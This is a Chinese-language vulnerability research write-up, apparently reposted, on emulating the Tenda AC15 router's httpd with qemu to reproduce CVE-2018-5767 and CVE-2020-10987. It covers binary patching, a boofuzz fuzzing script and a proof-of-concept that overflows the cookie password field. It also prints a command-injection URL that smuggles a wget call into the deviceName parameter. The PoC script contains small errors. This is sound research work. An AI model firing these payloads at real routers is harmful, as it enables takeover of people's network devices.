固件中的单个二进制模拟:Tenda AC15 路由器 CVE | 您所在的位置:网站首页 › 腾达ac6固件下载 › 固件中的单个二进制模拟:Tenda AC15 路由器 CVE |
设备:Tenda AC15 路由器(可能包含其他系列路由器) 固件版本:Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体 对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体 struct ringq_t{ unsigned char *buf; /* Holding buffer for data */ unsigned char *servp; /* Pointer to start of data */ unsigned char *endp; /* Pointer to end of data */ unsigned char *endbuf; /* Pointer to end of buffer */ int buflen; /* Length of ring queue */ int maxsize; /* Maximum size */ int increment; /* Growth increment */ } struct websRec { ringq_t header; /* Header dynamic string */ __time_t since; /* Parsed if-modified-since time */ char* cgiVars; /* CGI standard variables */ char* cgiQuery; /* CGI decoded query string */ __time_t timestamp; /* Last transaction with browser */ int timeout; /* Timeout handle */ char ipaddr[32]; /* Connecting ipaddress */ char type[64]; /* Mime type */ char *dir; /* Directory containing the page */ char *path; /* Path name without query */ char *url; /* Full request url */ char *host; /* Requested host */ char *lpath; /* Cache local path name */ char *query; /* Request query */ char *decodedQuery; /* Decoded request query */ char *authType; /* Authorization type (Basic/DAA) */ char *password; /* Authorization password */ char *userName; /* Authorization username */ char *cookie; /* Cookie string */ char *userAgent; /* User agent (browser) */ char *protocol; /* Protocol (normally HTTP) */ char *protoVersion; /* Protocol version */ int sid; /* Socket id (handler) */ int listenSid; /* Listen Socket id */ int port; /* Request port number */ int state; /* Current state */ int flags; /* Current flags -- see above */ int code; /* Request result code */ int clen; /* Content length */ int wid; /* Index into webs */ char *cgiStdin; /* filename for CGI stdin */ int docfd; /* Document file descriptor */ int numbytes; /* Bytes to transfer to browser */ int written; /* Bytes actually transferred */ void (*writeSocket)(struct websRec *wp); } 0x12 CVE-2018-5767 栈溢出在 sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数 找到此函数定义,并将入参 1 修改为结构体 websRec sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。 0x13 CVE-2020-10987 远程命令执行这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。 AC 6AC 7AC 8AC 9AC 11AC 15腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。 这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为 http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog 结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。 0x20 搭建目标进程仿真环境 0x21 绕过判断条件解压固件,尝试运行 httpd,会卡在如下界面 ┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root] └─$ qemu-arm -L ./ ./bin/httpd init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ...分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态 比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件 一个很好用的在线汇编和反汇编器 此时再次运行,目标进程有了新的进展 ┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root] └─$ qemu-arm -L ./ ./bin/httpd 1 ⚙ init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ... connect: No such file or directory Connect to server failed. connect cfm failed!通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd 再次运行 httpd,发现得到的 IP 地址明显有问题 这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd 0x22 修复网卡配置信息回到 check_network 函数,这是一个外部函数,定义在 libcommon.so 中 继续分析 int getLanIfName() { return get_eth_name(0); }又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so 因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡 sudo tunctl -t br0 -u lys sudo ifconfig br0 192.168.10.1/24此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址 0x30 漏洞发现与验证 0x31 协议 fuzzboofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下 from boofuzz import * IP = "192.168.0.5" PORT = 80 def check_response(target, fuzz_data_logger, session, *args, **kwargs): fuzz_data_logger.log_info("Checking test case response...") try: response = target.recv(512) except: fuzz_data_logger.log_fail("Unable to connect to target. Closing...") target.close() return #if empty response if not response: fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...") target.close() return #remove everything after null terminator, and convert to string #response = response[:response.index(0)].decode('utf-8') fuzz_data_logger.log_info("response check...\n" + response.decode()) target.close() return def main(): ''' options = { "start_commands": [ "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd" ], "stop_commands": ["echo stopping"], "proc_name": ["/usr/bin/qemu-arm-static ./httpd"] } procmon = ProcessMonitor("127.0.0.1", 26002) procmon.set_options(**options) ''' session = Session( target=Target( connection=SocketConnection(IP, PORT, proto="tcp"), # monitors=[procmon] ), post_test_case_callbacks=[check_response], ) s_initialize(name="Request") with s_block("Request-Line"): # Line 1 s_group("Method", ["GET"]) s_delim(" ", fuzzable=False, name="space-1-1") s_string("/goform/123", fuzzable=False) # fuzzable 1 s_delim(" ", fuzzable=False, name="space-1-2") s_static("HTTP/1.1", name="HTTP_VERSION") s_static("\r\n", name="Request-Line-CRLF-1") # Line 2 s_static("Host") s_delim(": ", fuzzable=False, name="space-2-1") s_string("192.168.0.5", fuzzable=False, name="IP address") s_static("\r\n", name="Request-Line-CRLF-2") # Line 3 s_static("Connection") s_delim(": ", fuzzable=False, name="space-3-1") s_string("keep-alive", fuzzable=False, name="Connection state") s_static("\r\n", name="Request-Line-CRLF-3") # Line 4 s_static("Cookie") s_delim(": ", fuzzable=False, name="space-4-1") s_string("bLanguage", fuzzable=False, name="key-bLanguage") s_delim("=", fuzzable=False) s_string("en", fuzzable=False, name="value-bLanguage") s_delim("; ", fuzzable=False) s_string("password", fuzzable=False, name="key-password") s_delim("=", fuzzable=False) s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True) # fuzzable 2 s_static("\r\n", name="Request-Line-CRLF-4") # over s_static("\r\n") s_static("\r\n") session.connect(s_get("Request")) session.fuzz() if __name__ == "__main__": main()目标进程崩溃 boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃 0x32 POC可以编写简单的脚本验证 import requests ip = 192.168.0.5 url = "http://%s/goform/execCommand"% ip cookie = {"Cookir":"password=" + "A"*501} ret = requests.get(url=url,cookies=cookie) print ret.text下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的… 0x40 总结对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。 但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。 |
CopyRight 2018-2019 实验室设备网 版权所有 |